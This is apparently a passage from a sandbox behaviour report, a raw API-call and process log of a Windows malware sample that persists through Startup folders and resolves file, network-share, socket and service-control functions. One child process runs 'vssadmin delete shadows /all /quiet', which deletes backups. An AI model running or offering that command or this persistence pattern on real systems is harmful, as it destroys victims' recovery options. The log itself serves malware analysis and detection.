_String2="SET") returned -14 [0176.663] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11 [0176.663] _wcsicmp (_String1="Exit", _String2="DATE") returned 1 [0176.663] _wcsicmp (_String1="Exit", _String2="TIME") returned -15 [0176.663] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11 [0176.663] _wcsicmp (_String1="Exit", _String2="MD") returned -8 [0176.663] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8 [0176.663] _wcsicmp (_String1="Exit", _String2="RD") returned -13 [0176.663] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13 [0176.663] _wcsicmp (_String1="Exit", _String2="PATH") returned -11 [0176.663] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2 [0176.663] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14 [0176.663] _wcsicmp (_String1="Exit", _String2="CLS") returned 2 [0176.663] _wcsicmp (_String1="Exit", _String2="CALL") returned 2 [0176.663] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17 [0176.663] _wcsicmp (_String1="Exit", _String2="VER") returned -17 [0176.663] _wcsicmp (_String1="Exit", _String2="VOL") returned -17 [0176.663] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0 [0176.663] ??_V@YAXPEAX@Z () returned 0x1 [0176.663] GetProcessHeap () returned 0x16fa0dc0000 [0176.663] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x14) returned 0x16fa0dc64c0 [0176.663] GetProcessHeap () returned 0x16fa0dc0000 [0176.663] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x1a) returned 0x16fa0dc75e0 [0176.663] GetProcessHeap () returned 0x16fa0dc0000 [0176.663] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x21c) returned 0x16fa0dc77c0 [0176.663] GetConsoleTitleW (in: lpConsoleTitle=0x16fa0dc77d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0176.665] GetProcessHeap () returned 0x16fa0dc0000 [0176.665] RtlReAllocateHeap (Heap=0x16fa0dc0000, Flags=0x0, Ptr=0x16fa0dc77c0, Size=0x64) returned 0x16fa0dc77c0 [0176.665] GetProcessHeap () returned 0x16fa0dc0000 [0176.665] RtlSizeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, MemoryPointer=0x16fa0dc77c0) returned 0x64 [0176.665] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1 [0176.667] GetProcessHeap () returned 0x16fa0dc0000 [0176.667] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc77c0) returned 1 [0176.667] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0176.670] exit (_Code=2) Thread: id = 55 os_tid = 0xe28 Process: id = "7" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x957000" os_pid = "0xde0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xdbc" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011303" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 38 os_tid = 0xde4 Thread: id = 49 os_tid = 0xe0c Thread: id = 50 os_tid = 0xe14 Thread: id = 51 os_tid = 0xe18 Thread: id = 52 os_tid = 0xe1c Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x49141000" os_pid = "0x57c" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x240" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e7a5" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 60 os_tid = 0xa20 Thread: id = 61 os_tid = 0xa18 Thread: id = 62 os_tid = 0xa10 Thread: id = 63 os_tid = 0xa0c Thread: id = 64 os_tid = 0x960 Thread: id = 65 os_tid = 0x68c Thread: id = 66 os_tid = 0x684 Thread: id = 67 os_tid = 0x620 Thread: id = 68 os_tid = 0x61c Thread: id = 69 os_tid = 0x618 Thread: id = 70 os_tid = 0x584 Thread: id = 71 os_tid = 0x580 Process: id = "9" image_name = "dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" page_root = "0x2cb18000" os_pid = "0xe4c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x9a0" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011303" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 72 os_tid = 0xe50 [0165.998] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x73d30000 [0165.998] GetProcAddress (hModule=0x73d30000, lpProcName="GetProcAddress") returned 0x73d451b0 [0165.998] GetProcAddress (hModule=0x73d30000, lpProcName="GetModuleHandleW") returned 0x73d450d0 [0165.998] GetProcAddress (hModule=0x73d30000, lpProcName="FindNextFileW") returned 0x73d9ee40 [0165.998] GetProcAddress (hModule=0x73d30000, lpProcName="FindClose") returned 0x73d9ed70 [0165.998] GetProcAddress (hModule=0x73d30000, lpProcName="MoveFileW") returned 0x73d7e500 [0165.998] GetProcAddress (hModule=0x73d30000, lpProcName="GetFileSizeEx") returned 0x73d9ef40 [0165.998] GetProcAddress (hModule=0x73d30000, lpProcName="GetModuleFileNameW") returned 0x73d45090 [0165.998] GetProcAddress (hModule=0x73d30000, lpProcName="GetFileAttributesW") returned 0x73d9ef10 [0165.998] GetProcAddress (hModule=0x73d30000, lpProcName="ExitProcess") returned 0x73d43cb0 [0165.998] GetProcAddress (hModule=0x73d30000, lpProcName="GetCommandLineW") returned 0x73d44cc0 [0165.998] GetProcAddress (hModule=0x73d30000, lpProcName="GetComputerNameW") returned 0x73d732c0 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="GetComputerNameA") returned 0x73d73780 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="CreateMutexW") returned 0x73d9eb70 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="lstrlenW") returned 0x73d46c70 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="lstrlenA") returned 0x73d46c50 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="GetCurrentProcess") returned 0x73d9ea10 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="WaitForSingleObject") returned 0x73d9eca0 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="GetLogicalDrives") returned 0x73d40d20 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="GetTickCount") returned 0x73d9dd50 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="DeleteFileW") returned 0x73d9ed40 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="WideCharToMultiByte") returned 0x73d46b10 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x73d9ebb0 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="Sleep") returned 0x73d46760 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="LeaveCriticalSection") returned 0x7715b250 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="ReadFile") returned 0x73d9f090 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="CreateFileW") returned 0x73d9ed10 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="OpenMutexW") returned 0x73d9ebf0 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="EnterCriticalSection") returned 0x7715b2d0 [0165.999] GetProcAddress (hModule=0x73d30000, lpProcName="WaitForMultipleObjects") returned 0x73d9ec80 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="lstrcmpiW") returned 0x73d46bf0 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="lstrcmpiA") returned 0x73d46bd0 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="DeleteCriticalSection") returned 0x7713fb90 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="ReleaseMutex") returned 0x73d9ec20 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="CloseHandle") returned 0x73d9eab0 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="GetVersion") returned 0x73d456c0 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="CreateThread") returned 0x73d446b0 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="ExpandEnvironmentStringsW") returned 0x73d44a40 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="QueryPerformanceCounter") returned 0x73d45da0 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="QueryPerformanceFrequency") returned 0x73d45dc0 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="GetCurrentProcessId") returned 0x73d9ea20 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="SetFileAttributesW") returned 0x73d9f100 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="GetVolumeInformationW") returned 0x73d9f020 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="WriteFile") returned 0x73d9f180 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="SetFilePointerEx") returned 0x73d9f130 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="SetEndOfFile") returned 0x73d9f0e0 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="FindFirstFileW") returned 0x73d9edf0 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="GetProcessHeap") returned 0x73d451f0 [0166.000] GetProcAddress (hModule=0x73d30000, lpProcName="HeapReAlloc") returned 0x7714f630 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="HeapAlloc") returned 0x77152dc0 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="HeapFree") returned 0x73d457f0 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="CreatePipe") returned 0x73d44590 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="SetHandleInformation") returned 0x73d9eae0 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="CreateProcessW") returned 0x73d44610 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="CompareStringW") returned 0x73d44430 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="CompareStringA") returned 0x73d44410 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="OpenProcess") returned 0x73d45cc0 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="TerminateProcess") returned 0x73d467e0 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="GetSystemTime") returned 0x73d454e0 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="SystemTimeToFileTime") returned 0x73d467a0 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="GetLastError") returned 0x73d45010 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x73d7edc0 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="Process32NextW") returned 0x73d7f8f0 [0166.001] GetProcAddress (hModule=0x73d30000, lpProcName="Process32FirstW") returned 0x73d7f750 [0166.001] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74b00000 [0166.301] GetProcAddress (hModule=0x74b00000, lpProcName="RegOpenKeyExW") returned 0x74b1e580 [0166.301] GetProcAddress (hModule=0x74b00000, lpProcName="RegQueryValueExW") returned 0x74b1e5a0 [0166.301] GetProcAddress (hModule=0x74b00000, lpProcName="RegSetValueExW") returned 0x74b1f530 [0166.301] GetProcAddress (hModule=0x74b00000, lpProcName="RegCloseKey") returned 0x74b1ed60 [0166.301] GetProcAddress (hModule=0x74b00000, lpProcName="OpenProcessToken") returned 0x74b1efb0 [0166.301] GetProcAddress (hModule=0x74b00000, lpProcName="GetTokenInformation") returned 0x74b1ee90 [0166.301] GetProcAddress (hModule=0x74b00000, lpProcName="OpenSCManagerW") returned 0x74b20540 [0166.301] GetProcAddress (hModule=0x74b00000, lpProcName="OpenServiceW") returned 0x74b1fa20 [0166.302] GetProcAddress (hModule=0x74b00000, lpProcName="CloseServiceHandle") returned 0x74b1fc00 [0166.302] GetProcAddress (hModule=0x74b00000, lpProcName="ControlService") returned 0x74b326d0 [0166.302] GetProcAddress (hModule=0x74b00000, lpProcName="QueryServiceStatus") returned 0x74b22380 [0166.302] GetProcAddress (hModule=0x74b00000, lpProcName="EnumDependentServicesW") returned 0x74b32f70 [0166.302] GetProcAddress (hModule=0x74b00000, lpProcName="EnumServicesStatusExW") returned 0x74b1fc80 [0166.302] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74860000 [0166.652] GetProcAddress (hModule=0x74860000, lpProcName="SystemParametersInfoW") returned 0x7488f210 [0166.652] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75b60000 [0166.822] GetProcAddress (hModule=0x75b60000, lpProcName="ShellExecuteExW") returned 0x75cc4730 [0166.822] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77110000 [0166.822] GetProcAddress (hModule=0x77110000, lpProcName="NtQuerySystemInformation") returned 0x77182070 [0166.822] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73b10000 [0167.005] GetProcAddress (hModule=0x73b10000, lpProcName="WNetCloseEnum") returned 0x73b12640 [0167.005] GetProcAddress (hModule=0x73b10000, lpProcName="WNetOpenEnumW") returned 0x73b12790 [0167.005] GetProcAddress (hModule=0x73b10000, lpProcName="WNetEnumResourceW") returned 0x73b12410 [0167.005] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x74270000 [0167.008] GetProcAddress (hModule=0x74270000, lpProcName="WSAStartup") returned 0x74275b40 [0167.008] GetProcAddress (hModule=0x74270000, lpProcName="socket") returned 0x74284510 [0167.008] GetProcAddress (hModule=0x74270000, lpProcName="send") returned 0x74275030 [0167.009] GetProcAddress (hModule=0x74270000, lpProcName="recv") returned 0x74280c50 [0167.009] GetProcAddress (hModule=0x74270000, lpProcName="connect") returned 0x74275410 [0167.009] GetProcAddress (hModule=0x74270000, lpProcName="closesocket") returned 0x74280910 [0167.009] GetProcAddress (hModule=0x74270000, lpProcName="gethostbyname") returned 0x742a6cb0 [0167.009] GetProcAddress (hModule=0x74270000, lpProcName="inet_addr") returned 0x74289160 [0167.009] GetProcAddress (hModule=0x74270000, lpProcName="ntohl") returned 0x742749d0 [0167.009] GetProcAddress (hModule=0x74270000, lpProcName="htonl") returned 0x742749d0 [0167.009] GetProcAddress (hModule=0x74270000, lpProcName="htons") returned 0x74288ff0 [0167.009] GetProcessHeap () returned 0x530000 [0167.010] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20) returned 0x53afd0 [0167.010] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=7107231419) returned 1 [0167.010] GetTickCount () returned 0x113bdf7 [0167.010] GetCurrentProcessId () returned 0xe4c [0167.012] GetTickCount () returned 0x113be06 [0167.012] GetTickCount () returned 0x113be06 [0167.012] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20) returned 0x53b278 [0167.012] GetVersion () returned 0x23f00206 [0167.012] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7) returned 0x546f88 [0167.012] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x548110 [0167.012] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x548110, Size=0x20) returned 0x53b2a0 [0167.012] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x53b2a0, Size=0x40) returned 0x547860 [0167.012] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x54d610 [0167.013] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0A") returned 0x1ec [0167.013] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546f88 | out: hHeap=0x530000) returned 1 [0167.013] lstrlenW (lpString="Global\\syncronize_") returned 18 [0167.013] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x547860 | out: hHeap=0x530000) returned 1 [0167.013] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7) returned 0x546fd8 [0167.013] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x548110 [0167.013] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x548110, Size=0x20) returned 0x53b2a0 [0167.013] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x53b2a0, Size=0x40) returned 0x547c50 [0167.013] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x55d618 [0167.014] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0U") returned 0x1f0 [0167.014] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546fd8 | out: hHeap=0x530000) returned 1 [0167.014] lstrlenW (lpString="Global\\syncronize_") returned 18 [0167.014] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x547c50 | out: hHeap=0x530000) returned 1 [0167.014] GetVersion () returned 0x23f00206 [0167.014] GetCurrentProcess () returned 0xffffffff [0167.014] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0167.014] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0167.014] CloseHandle (hObject=0x1f4) returned 1 [0167.014] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0167.014] ExitProcess (uExitCode=0x0) Thread: id = 74 os_tid = 0xe60 Process: id = "10" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x44f4b000" os_pid = "0xe58" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xdbc" cmd_line = "mode con cp select=1251" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011303" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 73 os_tid = 0xe5c Thread: id = 75 os_tid = 0xe64 Process: id = "11" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x2be04000" os_pid = "0xeb0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xdbc" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011303" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 76 os_tid = 0xeb4 Thread: id = 77 os_tid = 0xec0 Thread: id = 78 os_tid = 0xec4 Thread: id = 79 os_tid = 0xed4 Thread: id = 80 os_tid = 0xed8 Thread: id = 81 os_tid = 0xedc Process: id = "12" image_name = "dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" page_root = "0x27c53000" os_pid = "0xfa8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xdb0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe\" -a" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011303" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 82 os_tid = 0xfac [0188.970] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x73d30000 [0188.970] GetProcAddress (hModule=0x73d30000, lpProcName="GetProcAddress") returned 0x73d451b0 [0188.970] GetProcAddress (hModule=0x73d30000, lpProcName="GetModuleHandleW") returned 0x73d450d0 [0188.970] GetProcAddress (hModule=0x73d30000, lpProcName="FindNextFileW") returned 0x73d9ee40 [0188.970] GetProcAddress (hModule=0x73d30000, lpProcName="FindClose") returned 0x73d9ed70 [0188.970] GetProcAddress (hModule=0x73d30000, lpProcName="MoveFileW") returned 0x73d7e500 [0188.970] GetProcAddress (hModule=0x73d30000, lpProcName="GetFileSizeEx") returned 0x73d9ef40 [0188.970] GetProcAddress (hModule=0x73d30000, lpProcName="GetModuleFileNameW") returned 0x73d45090 [0188.970] GetProcAddress (hModule=0x73d30000, lpProcName="GetFileAttributesW") returned 0x73d9ef10 [0188.970] GetProcAddress (hModule=0x73d30000, lpProcName="ExitProcess") returned 0x73d43cb0 [0188.970] GetProcAddress (hModule=0x73d30000, lpProcName="GetCommandLineW") returned 0x73d44cc0 [0188.970] GetProcAddress (hModule=0x73d30000, lpProcName="GetComputerNameW") returned 0x73d732c0 [0188.970] GetProcAddress (hModule=0x73d30000, lpProcName="GetComputerNameA") returned 0x73d73780 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="CreateMutexW") returned 0x73d9eb70 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="lstrlenW") returned 0x73d46c70 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="lstrlenA") returned 0x73d46c50 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="GetCurrentProcess") returned 0x73d9ea10 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="WaitForSingleObject") returned 0x73d9eca0 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="GetLogicalDrives") returned 0x73d40d20 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="GetTickCount") returned 0x73d9dd50 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="DeleteFileW") returned 0x73d9ed40 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="WideCharToMultiByte") returned 0x73d46b10 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x73d9ebb0 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="Sleep") returned 0x73d46760 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="LeaveCriticalSection") returned 0x7715b250 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="ReadFile") returned 0x73d9f090 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="CreateFileW") returned 0x73d9ed10 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="OpenMutexW") returned 0x73d9ebf0 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="EnterCriticalSection") returned 0x7715b2d0 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="WaitForMultipleObjects") returned 0x73d9ec80 [0188.971] GetProcAddress (hModule=0x73d30000, lpProcName="lstrcmpiW") returned 0x73d46bf0 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="lstrcmpiA") returned 0x73d46bd0 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="DeleteCriticalSection") returned 0x7713fb90 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="ReleaseMutex") returned 0x73d9ec20 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="CloseHandle") returned 0x73d9eab0 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="GetVersion") returned 0x73d456c0 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="CreateThread") returned 0x73d446b0 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="ExpandEnvironmentStringsW") returned 0x73d44a40 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="QueryPerformanceCounter") returned 0x73d45da0 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="QueryPerformanceFrequency") returned 0x73d45dc0 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="GetCurrentProcessId") returned 0x73d9ea20 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="SetFileAttributesW") returned 0x73d9f100 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="GetVolumeInformationW") returned 0x73d9f020 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="WriteFile") returned 0x73d9f180 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="SetFilePointerEx") returned 0x73d9f130 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="SetEndOfFile") returned 0x73d9f0e0 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="FindFirstFileW") returned 0x73d9edf0 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="GetProcessHeap") returned 0x73d451f0 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="HeapReAlloc") returned 0x7714f630 [0188.972] GetProcAddress (hModule=0x73d30000, lpProcName="HeapAlloc") returned 0x77152dc0 [0188.973] GetProcAddress (hModule=0x73d30000, lpProcName="HeapFree") returned 0x73d457f0 [0188.973] GetProcAddress (hModule=0x73d30000, lpProcName="CreatePipe") returned 0x73d44590 [0188.973] GetProcAddress (hModule=0x73d30000, lpProcName="SetHandleInformation") returned 0x73d9eae0 [0188.973] GetProcAddress (hModule=0x73d30000, lpProcName="CreateProcessW") returned 0x73d44610 [0188.973] GetProcAddress (hModule=0x73d30000, lpProcName="CompareStringW") returned 0x73d44430 [0188.973] GetProcAddress (hModule=0x73d30000, lpProcName="CompareStringA") returned 0x73d44410 [0188.973] GetProcAddress (hModule=0x73d30000, lpProcName="OpenProcess") returned 0x73d45cc0 [0188.973] GetProcAddress (hModule=0x73d30000, lpProcName="TerminateProcess") returned 0x73d467e0 [0188.973] GetProcAddress (hModule=0x73d30000, lpProcName="GetSystemTime") returned 0x73d454e0 [0188.973] GetProcAddress 